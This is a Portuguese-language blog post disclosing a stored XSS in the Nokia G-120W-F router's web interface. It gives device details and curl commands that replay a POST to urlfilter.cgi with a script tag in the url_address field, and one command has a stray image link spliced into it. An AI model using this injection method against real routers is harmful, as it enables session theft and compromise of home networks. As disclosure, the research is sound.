Posts Stored XSS – Roteador Nokia G-120W-F
Post
Cancel

Stored XSS – Roteador Nokia G-120W-F

Nesse post, vou falar sobre um Stored XSS que afeta boa parte dos formulários que estão na interface web do roteador Nokia G-120W-F.

Stored XSS

Stored XSS é uma vulnerabilidade que permite persistir códigos maliciosos na página alvo. Aproveitando dessa vulnerabilidade, podemos roubar sessões de usuários ativos no sistemas, coletar informações da máquina que hospeda a página, redirecionar o usuário para outro sistema, etc.

Dispositivo

Device Name G-120W-F
Vendor Nokia
Serial Number ALCLFA5F444E
Hardware Version U-Boot Dec-31-2016–12:00:00
Software Version 3FE46606AGAB91
Chipset MTK7525D

Exploração

Pela interface web, não é possível fazermos uma injeção de código javascript em nenhum dos campos do formulário.

Alert

Mas analisando a requisição, podemos copiar a mesma requisição e alterar os dados que foram enviados para o roteador.

Alert

Quando inserimos um dado válido, a interface faz uma requisição do tipo POST para um script cgi chamado urlfilter.cgi. O firefox possui um opção que permite copiar os dados que foram enviados e montar um comando com o cURL, passando User-Agent, Content-Type, Cookie e os dados que foram enviados na requisição. Para obter o comando basta clicar com o botão direito na requisição e ir até a opção “copy as cURL“.

No meu caso ficou dessa forma:

1
curl 'http://192.168.237.254/urlfilter.cgi?add' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:85.0) Gecko/20100101 Firefox/85.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Content-Type: application/x-www-form-urlencoded' -H 'Origin: http://192.168.237.254' -H 'Connection: keep-alive' -H 'Referer: http://192.168.237.254/urlfilter.cgi' -H 'Cookie: lsid=YRTNSynGMeHSwqOx; lang=../../..; sid=KpJqGrBuvsTrduXP; admin=1' -H 'Upgrade-Insecure-Requests: 1' --data-raw 'csrf_token=LnwHSQKbNXXlDciL&passwd_token_value=&url_address=http%3A%2F%2F0xdutra.com&port_num=8080'

Se alterarmos o valor do campo url_address para um script javascript, podemos validar se está página está vulnerável a XSS.

Comando alterado:

1
2
curl 'http://192.168.237.254/urlfilter.cgi?add' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:85.0) Gecko/20100101 Firefox/85.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Content-Type: application/x-www-form-urlencoded' -H 'Origin: http://192.168.237.254' -H 'Connection: keep-alive' -H 'Referer: http://192.168.237.254/urlfilter.cgi' -H 'Cookie: lsid=YRTNSynGMeHSwqOx; lang=../../..; sid=KpJqGrBuvsTrduXP; admin=1' -H 'Upgrade-Insecure-Requests: 1' --data-raw 'csrf_token=LnwHSQKb![Alert](/assets/posts/alert.png)
NXXlDciL&passwd_token_value=&url_address=<SCRIPT>alert(1)</SCRIPT>&port_num=8080'

Agora, quando acessamos a página do URL Filter sempre aparece uma caixa de diálogo printando o número 1 na tela.

Alert

This post is licensed under CC BY 4.0 by the author.
Trending Tags
Contents

Trending Tags